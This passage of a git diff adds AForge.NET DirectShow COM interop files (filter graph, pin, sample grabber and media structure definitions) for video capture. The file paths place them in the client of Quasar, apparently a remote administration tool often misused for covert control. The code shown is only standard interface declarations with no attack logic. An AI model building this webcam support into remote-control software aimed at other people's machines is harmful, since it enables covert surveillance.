+ /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ShouldOperationContinue( ); + + + // --- IFilterGraph2 methods + + /// + /// + /// + /// + /// Moniker interface. + /// Bind context interface. + /// Name for the filter. + /// Receives source filter's IBaseFilter interface. + /// The caller must release the interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddSourceFilterForMoniker( + [In] IMoniker moniker, + [In] IBindCtx bindContext, + [In, MarshalAs( UnmanagedType.LPWStr )] string filterName, + [Out] out IBaseFilter filter + ); + + /// + /// Breaks the existing pin connection and reconnects it to the same pin, + /// using a specified media type. + /// + /// + /// Pin to disconnect and reconnect. + /// Media type to reconnect with. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ReconnectEx( + [In] IPin pin, + [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType + ); + + /// + /// Render an output pin, with an option to use existing renderers only. + /// + /// + /// Interface of the output pin. + /// Flag that specifies how to render the pin. + /// Reserved. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RenderEx( + [In] IPin outputPin, + [In] int flags, + [In] IntPtr context + ); + + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IGraphBuilder.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IGraphBuilder.cs new file mode 100755 index 0000000..8f3fc4e --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IGraphBuilder.cs @@ -0,0 +1,198 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// This interface provides methods that enable an application to build a filter graph. + /// + /// + [ComImport, + Guid( "56A868A9-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IGraphBuilder + { + // --- IFilterGraph Methods + + /// + /// Adds a filter to the graph and gives it a name. + /// + /// + /// Filter to add to the graph. + /// Name of the filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddFilter( [In] IBaseFilter filter, [In, MarshalAs( UnmanagedType.LPWStr )] string name ); + + /// + /// Removes a filter from the graph. + /// + /// + /// Filter to be removed from the graph. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RemoveFilter( [In] IBaseFilter filter ); + + /// + /// Provides an enumerator for all filters in the graph. + /// + /// + /// Filter enumerator. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EnumFilters( [Out] out IEnumFilters enumerator ); + + /// + /// Finds a filter that was added with a specified name. + /// + /// + /// Name of filter to search for. + /// Interface of found filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FindFilterByName( [In, MarshalAs( UnmanagedType.LPWStr )] string name, [Out] out IBaseFilter filter ); + + /// + /// Connects two pins directly (without intervening filters). + /// + /// + /// Output pin. + /// Input pin. + /// Media type to use for the connection. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ConnectDirect( [In] IPin pinOut, [In] IPin pinIn, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Breaks the existing pin connection and reconnects it to the same pin. + /// + /// + /// Pin to disconnect and reconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Reconnect( [In] IPin pin ); + + /// + /// Disconnects a specified pin. + /// + /// + /// Pin to disconnect. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Disconnect( [In] IPin pin ); + + /// + /// Sets the reference clock to the default clock. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetDefaultSyncSource( ); + + // --- IGraphBuilder methods + + /// + /// Connects two pins. If they will not connect directly, this method connects them with intervening transforms. + /// + /// + /// Output pin. + /// Input pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Connect( [In] IPin pinOut, [In] IPin pinIn ); + + /// + /// Adds a chain of filters to a specified output pin to render it. + /// + /// + /// Output pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Render( [In] IPin pinOut ); + + /// + /// Builds a filter graph that renders the specified file. + /// + /// + /// Specifies a string that contains file name or device moniker. + /// Reserved. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RenderFile( + [In, MarshalAs( UnmanagedType.LPWStr )] string file, + [In, MarshalAs( UnmanagedType.LPWStr )] string playList); + + /// + /// Adds a source filter to the filter graph for a specific file. + /// + /// + /// Specifies the name of the file to load. + /// Specifies a name for the source filter. + /// Variable that receives the interface of the source filter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddSourceFilter( + [In, MarshalAs( UnmanagedType.LPWStr )] string fileName, + [In, MarshalAs( UnmanagedType.LPWStr )] string filterName, + [Out] out IBaseFilter filter ); + + /// + /// Sets the file for logging actions taken when attempting to perform an operation. + /// + /// + /// Handle to the log file. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetLogFile( IntPtr hFile ); + + /// + /// Requests that the graph builder return as soon as possible from its current task. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Abort( ); + + /// + /// Queries whether the current operation should continue. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ShouldOperationContinue( ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IMediaControl.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IMediaControl.cs new file mode 100755 index 0000000..c6ba357 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IMediaControl.cs @@ -0,0 +1,118 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface provides methods for controlling the flow of data through the filter graph. + /// It includes methods for running, pausing, and stopping the graph. + /// + /// + [ComImport, + Guid( "56A868B1-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsDual )] + internal interface IMediaControl + { + /// + /// Runs all the filters in the filter graph. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Run( ); + + /// + /// Pauses all filters in the filter graph. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Pause( ); + + /// + /// Stops all the filters in the filter graph. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Stop( ); + + /// + /// Retrieves the state of the filter graph. + /// + /// + /// Duration of the time-out, in milliseconds, or INFINITE to specify an infinite time-out. + /// ariable that receives a member of the FILTER_STATE enumeration. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetState( int timeout, out int filterState ); + + /// + /// Builds a filter graph that renders the specified file. + /// + /// + /// Name of the file to render + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RenderFile( string fileName ); + + /// + /// Adds a source filter to the filter graph, for a specified file. + /// + /// + /// Name of the file containing the source video. + /// Receives interface of filter information object. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AddSourceFilter( [In] string fileName, [Out, MarshalAs( UnmanagedType.IDispatch )] out object filterInfo ); + + /// + /// Retrieves a collection of the filters in the filter graph. + /// + /// + /// Receives the IAMCollection interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_FilterCollection( + [Out, MarshalAs( UnmanagedType.IDispatch )] out object collection ); + + /// + /// Retrieves a collection of all the filters listed in the registry. + /// + /// + /// Receives the IDispatch interface of IAMCollection object. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int get_RegFilterCollection( + [Out, MarshalAs( UnmanagedType.IDispatch )] out object collection ); + + /// + /// Pauses the filter graph, allowing filters to queue data, and then stops the filter graph. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int StopWhenReady( ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IMediaEventEx.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IMediaEventEx.cs new file mode 100755 index 0000000..d01bee8 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IMediaEventEx.cs @@ -0,0 +1,126 @@ +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright © AForge.NET, 2009-2011 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface inherits contains methods for retrieving event notifications and for overriding the + /// filter graph's default handling of events. + /// + [ComVisible( true ), ComImport, + Guid( "56a868c0-0ad4-11ce-b03a-0020af0ba770" ), + InterfaceType( ComInterfaceType.InterfaceIsDual )] + internal interface IMediaEventEx + { + /// + /// Retrieves a handle to a manual-reset event that remains signaled while the queue contains event notifications. + /// + /// Pointer to a variable that receives the event handle. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetEventHandle( out IntPtr hEvent ); + + /// + /// Retrieves the next event notification from the event queue. + /// + /// + /// Variable that receives the event code. + /// Pointer to a variable that receives the first event parameter. + /// Pointer to a variable that receives the second event parameter. + /// Time-out interval, in milliseconds. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetEvent( [Out, MarshalAs( UnmanagedType.I4 )] out DsEvCode lEventCode, [Out] out IntPtr lParam1, [Out] out IntPtr lParam2, int msTimeout ); + + /// + /// Waits for the filter graph to render all available data. + /// + /// + /// Time-out interval, in milliseconds. Pass zero to return immediately. + /// Pointer to a variable that receives an event code. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int WaitForCompletion( int msTimeout, [Out] out int pEvCode ); + + /// + /// Cancels the Filter Graph Manager's default handling for a specified event. + /// + /// + /// Event code for which to cancel default handling. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int CancelDefaultHandling( int lEvCode ); + + /// + /// Restores the Filter Graph Manager's default handling for a specified event. + /// + /// Event code for which to restore default handling. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int RestoreDefaultHandling( int lEvCode ); + + /// + /// Frees resources associated with the parameters of an event. + /// + /// Event code. + /// First event parameter. + /// Second event parameter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int FreeEventParams( [In, MarshalAs( UnmanagedType.I4 )] DsEvCode lEvCode, IntPtr lParam1, IntPtr lParam2 ); + + /// + /// Registers a window to process event notifications. + /// + /// + /// Handle to the window, or to stop receiving event messages. + /// Window message to be passed as the notification. + /// Value to be passed as the lParam parameter for the lMsg message. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetNotifyWindow( IntPtr hwnd, int lMsg, IntPtr lInstanceData ); + + /// + /// Enables or disables event notifications. + /// + /// + /// Value indicating whether to enable or disable event notifications. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetNotifyFlags( int lNoNotifyFlags ); + + /// + /// Determines whether event notifications are enabled. + /// + /// + /// Variable that receives current notification status. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetNotifyFlags( out int lplNoNotifyFlags ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IPin.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IPin.cs new file mode 100755 index 0000000..ceed73f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IPin.cs @@ -0,0 +1,191 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// This interface is exposed by all input and output pins of DirectShow filters. + /// + /// + [ComImport, + Guid( "56A86891-0AD4-11CE-B03A-0020AF0BA770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IPin + { + /// + /// Connects the pin to another pin. + /// + /// + /// Other pin to connect to. + /// Type to use for the connections (optional). + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Connect( [In] IPin receivePin, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Makes a connection to this pin and is called by a connecting pin. + /// + /// + /// Connecting pin. + /// Media type of the samples to be streamed. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ReceiveConnection( [In] IPin receivePin, [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Breaks the current pin connection. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Disconnect( ); + + /// + /// Returns a pointer to the connecting pin. + /// + /// + /// Receives IPin interface of connected pin (if any). + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ConnectedTo( [Out] out IPin pin ); + + /// + /// Returns the media type of this pin's connection. + /// + /// + /// Pointer to an structure. If the pin is connected, + /// the media type is returned. Otherwise, the structure is initialized to a default state in which + /// all elements are 0, with the exception of lSampleSize, which is set to 1, and + /// FixedSizeSamples, which is set to true. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int ConnectionMediaType( [Out, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Retrieves information about this pin (for example, the name, owning filter, and direction). + /// + /// + /// structure that receives the pin information. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryPinInfo( [Out] out PinInfo pinInfo ); + + /// + /// Retrieves the direction for this pin. + /// + /// + /// Receives direction of the pin. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryDirection( out PinDirection pinDirection ); + + /// + /// Retrieves an identifier for the pin. + /// + /// + /// Pin identifier. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryId( [Out, MarshalAs( UnmanagedType.LPWStr )] out string id ); + + /// + /// Queries whether a given media type is acceptable by the pin. + /// + /// + /// structure that specifies the media type. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryAccept( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Provides an enumerator for this pin's preferred media types. + /// + /// + /// Address of a variable that receives a pointer to the IEnumMediaTypes interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EnumMediaTypes( IntPtr enumerator ); + + /// + /// Provides an array of the pins to which this pin internally connects. + /// + /// + /// Address of an array of IPin pointers. + /// On input, specifies the size of the array. When the method returns, + /// the value is set to the number of pointers returned in the array. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int QueryInternalConnections( IntPtr apPin, [In, Out] ref int nPin ); + + /// + /// Notifies the pin that no additional data is expected. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EndOfStream( ); + + /// + /// Begins a flush operation. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int BeginFlush( ); + + /// + /// Ends a flush operation. + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int EndFlush( ); + + /// + /// Specifies that samples following this call are grouped as a segment with a given start time, stop time, and rate. + /// + /// + /// Start time of the segment, relative to the original source, in 100-nanosecond units. + /// End time of the segment, relative to the original source, in 100-nanosecond units. + /// Rate at which this segment should be processed, as a percentage of the original rate. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int NewSegment( + long start, + long stop, + double rate ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IPropertyBag.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IPropertyBag.cs new file mode 100755 index 0000000..faea69d --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IPropertyBag.cs @@ -0,0 +1,53 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The IPropertyBag interface provides an object with a property bag in + /// which the object can persistently save its properties. + /// + /// + [ComImport, + Guid( "55272A00-42CB-11CE-8135-00AA004BB851" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IPropertyBag + { + /// + /// Read a property from property bag. + /// + /// + /// Property name to read. + /// Property value. + /// Caller's error log. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Read( + [In, MarshalAs( UnmanagedType.LPWStr )] string propertyName, + [In, Out, MarshalAs( UnmanagedType.Struct )] ref object pVar, + [In] IntPtr pErrorLog ); + + /// + /// Write property to property bag. + /// + /// + /// Property name to read. + /// Property value. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Write( + [In, MarshalAs( UnmanagedType.LPWStr )] string propertyName, + [In, MarshalAs( UnmanagedType.Struct )] ref object pVar ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IReferenceClock.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IReferenceClock.cs new file mode 100755 index 0000000..cb0328f --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/IReferenceClock.cs @@ -0,0 +1,87 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright Andrew Kirillov, 2010 +// andrew.kirillov@gmail.com +// +// Written by Jeremy Noring +// kidjan@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The IReferenceClock interface provides the reference time for the filter graph. + /// + /// Filters that can act as a reference clock can expose this interface. It is also exposed by the System Reference Clock. + /// The filter graph manager uses this interface to synchronize the filter graph. Applications can use this interface to + /// retrieve the current reference time, or to request notification of an elapsed time. + /// + [ComImport, System.Security.SuppressUnmanagedCodeSecurity, + Guid( "56a86897-0ad4-11ce-b03a-0020af0ba770" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface IReferenceClock + { + /// + /// The GetTime method retrieves the current reference time. + /// + /// + /// Pointer to a variable that receives the current time, in 100-nanosecond units. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetTime( [Out] out long pTime ); + + /// + /// The AdviseTime method creates a one-shot advise request. + /// + /// + /// Base reference time, in 100-nanosecond units. See Remarks. + /// Stream offset time, in 100-nanosecond units. See Remarks. + /// Handle to an event, created by the caller. + /// Pointer to a variable that receives an identifier for the advise request. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AdviseTime( + [In] long baseTime, + [In] long streamTime, + [In] IntPtr hEvent, + [Out] out int pdwAdviseCookie ); + + /// + /// The AdvisePeriodic method creates a periodic advise request. + /// + /// + /// Time of the first notification, in 100-nanosecond units. Must be greater than zero and less than MAX_TIME. + /// Time between notifications, in 100-nanosecond units. Must be greater than zero. + /// Handle to a semaphore, created by the caller. + /// Pointer to a variable that receives an identifier for the advise request. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int AdvisePeriodic( + [In] long startTime, + [In] long periodTime, + [In] IntPtr hSemaphore, + [Out] out int pdwAdviseCookie ); + + /// + /// The Unadvise method removes a pending advise request. + /// + /// + /// Identifier of the request to remove. Use the value returned by IReferenceClock::AdviseTime or IReferenceClock::AdvisePeriodic in the pdwAdviseToken parameter. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int Unadvise( [In] int dwAdviseCookie ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ISampleGrabber.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ISampleGrabber.cs new file mode 100755 index 0000000..07854ac --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ISampleGrabber.cs @@ -0,0 +1,103 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface is exposed by the Sample Grabber Filter. It enables an application to retrieve + /// individual media samples as they move through the filter graph. + /// + /// + [ComImport, + Guid("6B652FFF-11FE-4FCE-92AD-0266B5D7C78F"), + InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] + internal interface ISampleGrabber + { + /// + /// Specifies whether the filter should stop the graph after receiving one sample. + /// + /// + /// Boolean value specifying whether the filter should stop the graph after receiving one sample. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetOneShot( [In, MarshalAs( UnmanagedType.Bool )] bool oneShot ); + + /// + /// Specifies the media type for the connection on the Sample Grabber's input pin. + /// + /// + /// Specifies the required media type. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetMediaType( [In, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Retrieves the media type for the connection on the Sample Grabber's input pin. + /// + /// + /// structure, which receives media type. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetConnectedMediaType( [Out, MarshalAs( UnmanagedType.LPStruct )] AMMediaType mediaType ); + + /// + /// Specifies whether to copy sample data into a buffer as it goes through the filter. + /// + /// + /// Boolean value specifying whether to buffer sample data. + /// If true, the filter copies sample data into an internal buffer. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetBufferSamples( [In, MarshalAs( UnmanagedType.Bool )] bool bufferThem ); + + /// + /// Retrieves a copy of the sample that the filter received most recently. + /// + /// + /// Pointer to the size of the buffer. If pBuffer is NULL, this parameter receives the required size. + /// Pointer to a buffer to receive a copy of the sample, or NULL. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetCurrentBuffer( ref int bufferSize, IntPtr buffer ); + + /// + /// Not currently implemented. + /// + /// + /// + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetCurrentSample( IntPtr sample ); + + /// + /// Specifies a callback method to call on incoming samples. + /// + /// + /// interface containing the callback method, or NULL to cancel the callback. + /// Index specifying the callback method. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SetCallback( ISampleGrabberCB callback, int whichMethodToCallback ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs new file mode 100755 index 0000000..4dc7340 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ISampleGrabberCB.cs @@ -0,0 +1,47 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright Andrew Kirillov, 2007 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface provides callback methods for the method. + /// + /// + [ComImport, + Guid("0579154A-2B53-4994-B0D0-E773148EFF85"), + InterfaceType(ComInterfaceType.InterfaceIsIUnknown)] + internal interface ISampleGrabberCB + { + /// + /// Callback method that receives a pointer to the media sample. + /// + /// + /// Starting time of the sample, in seconds. + /// Pointer to the sample's IMediaSample interface. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int SampleCB( double sampleTime, IntPtr sample ); + + /// + /// Callback method that receives a pointer to the sample buffer + /// + /// + /// Starting time of the sample, in seconds. + /// Pointer to a buffer that contains the sample data. + /// Length of the buffer pointed to by buffer, in bytes + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int BufferCB( double sampleTime, IntPtr buffer, int bufferLen ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs new file mode 100755 index 0000000..ecb0739 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/ISpecifyPropertyPages.cs @@ -0,0 +1,36 @@ +// AForge Direct Show Library +// AForge.NET framework +// +// Copyright Andrew Kirillov, 2008 +// andrew.kirillov@gmail.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + + /// + /// The interface indicates that an object supports property pages. + /// + /// + [ComImport, + Guid( "B196B28B-BAB4-101A-B69C-00AA00341D07" ), + InterfaceType( ComInterfaceType.InterfaceIsIUnknown )] + internal interface ISpecifyPropertyPages + { + /// + /// Fills a counted array of GUID values where each GUID specifies the + /// CLSID of each property page that can be displayed in the property + /// sheet for this object. + /// + /// + /// Pointer to a CAUUID structure that must be initialized + /// and filled before returning. + /// + /// Return's HRESULT error code. + /// + [PreserveSig] + int GetPages( out CAUUID pPages ); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/Structures.cs b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/Structures.cs new file mode 100755 index 0000000..530283c --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Helper/AForge/Video.DirectShow/Internals/Structures.cs @@ -0,0 +1,518 @@ +// AForge Direct Show Library +// AForge.NET framework +// http://www.aforgenet.com/framework/ +// +// Copyright AForge.NET, 2009-2013 +// contacts@aforgenet.com +// + +namespace AForge.Video.DirectShow.Internals +{ + using System; + using System.Runtime.InteropServices; + using System.Drawing; + + // PIN_DIRECTION + + /// + /// This enumeration indicates a pin's direction. + /// + /// + [ComVisible( false )] + internal enum PinDirection + { + /// + /// Input pin. + /// + Input, + + /// + /// Output pin. + /// + Output + } + + // AM_MEDIA_TYPE + + /// + /// The structure describes the format of a media sample. + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential )] + internal class AMMediaType : IDisposable + { + /// + /// Globally unique identifier (GUID) that specifies the major type of the media sample. + /// + public Guid MajorType; + + /// + /// GUID that specifies the subtype of the media sample. + /// + public Guid SubType; + + /// + /// If true, samples are of a fixed size. + /// + [MarshalAs( UnmanagedType.Bool )] + public bool FixedSizeSamples = true; + + /// + /// If true, samples are compressed using temporal (interframe) compression. + /// + [MarshalAs( UnmanagedType.Bool )] + public bool TemporalCompression; + + /// + /// Size of the sample in bytes. For compressed data, the value can be zero. + /// + public int SampleSize = 1; + + /// + /// GUID that specifies the structure used for the format block. + /// + public Guid FormatType; + + /// + /// Not used. + /// + public IntPtr unkPtr; + + /// + /// Size of the format block, in bytes. + /// + public int FormatSize; + + /// + /// Pointer to the format block. + /// + public IntPtr FormatPtr; + + /// + /// Destroys the instance of the class. + /// + /// + ~AMMediaType( ) + { + Dispose( false ); + } + + /// + /// Dispose the object. + /// + /// + public void Dispose( ) + { + Dispose( true ); + // remove me from the Finalization queue + GC.SuppressFinalize( this ); + } + + /// + /// Dispose the object + /// + /// + /// Indicates if disposing was initiated manually. + /// + protected virtual void Dispose( bool disposing ) + { + if ( ( FormatSize != 0 ) && ( FormatPtr != IntPtr.Zero ) ) + { + Marshal.FreeCoTaskMem( FormatPtr ); + FormatSize = 0; + } + + if ( unkPtr != IntPtr.Zero ) + { + Marshal.Release( unkPtr ); + unkPtr = IntPtr.Zero; + } + } + } + + + // PIN_INFO + + /// + /// The structure contains information about a pin. + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode )] + internal struct PinInfo + { + /// + /// Owning filter. + /// + public IBaseFilter Filter; + + /// + /// Direction of the pin. + /// + public PinDirection Direction; + + /// + /// Name of the pin. + /// + [MarshalAs( UnmanagedType.ByValTStr, SizeConst = 128 )] + public string Name; + } + + // FILTER_INFO + [ComVisible( false ), + StructLayout( LayoutKind.Sequential, Pack = 1, CharSet = CharSet.Unicode )] + internal struct FilterInfo + { + /// + /// Filter's name. + /// + [MarshalAs( UnmanagedType.ByValTStr, SizeConst = 128 )] + public string Name; + + /// + /// Owning graph. + /// + public IFilterGraph FilterGraph; + } + + // VIDEOINFOHEADER + + /// + /// The structure describes the bitmap and color information for a video image. + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential )] + internal struct VideoInfoHeader + { + /// + /// structure that specifies the source video window. + /// + public RECT SrcRect; + + /// + /// structure that specifies the destination video window. + /// + public RECT TargetRect; + + /// + /// Approximate data rate of the video stream, in bits per second. + /// + public int BitRate; + + /// + /// Data error rate, in bit errors per second. + /// + public int BitErrorRate; + + /// + /// The desired average display time of the video frames, in 100-nanosecond units. + /// + public long AverageTimePerFrame; + + /// + /// structure that contains color and dimension information for the video image bitmap. + /// + public BitmapInfoHeader BmiHeader; + } + + // VIDEOINFOHEADER2 + + /// + /// The structure describes the bitmap and color information for a video image (v2). + /// + /// + [ComVisible( false ), + StructLayout( LayoutKind.Sequential )] + internal struct VideoInfoHeader2 + { + /// + /// structure that specifies the source video window. + /// + public RECT SrcRect; + + /// + /// structure that specifies the destination video window. + /// + public RECT TargetRect; + + /// + /// Approximate data rate of the video stream, in bits per second. + /// + public int BitRate; + + /// + /// Data error rate, in bit errors per second. + /// + public int BitErrorRate; + + /// + /// The desired average display time of the video frames, in 100-nanosecond units. + /// + public long AverageTimePerFrame; + + /// + /// Flags that specify how the video is interlaced. + /// + public int InterlaceFlags; + + /// + /// Flag set to indicate that the duplication of the stream should be restricted. + /// + public int CopyProtectFlags; + + /// + /// The X dimension of picture aspect ratio. + /// + public int PictAspectRatioX; + + /// + /// The Y dimension of picture aspect ratio. + /// + public int PictAspectRatioY; + + /// + /// Reserved for future use. + /// + public int Reserved1; + + /// + /// Reserved for future use. + /// + public int Reserved2; + + /// + /// structure that contains color and dimension information for the video image bitmap. + /// + public BitmapInfoHeader BmiHeader; + } + + /// + /// The structure contains information about the dimensions and color format of a device-independent 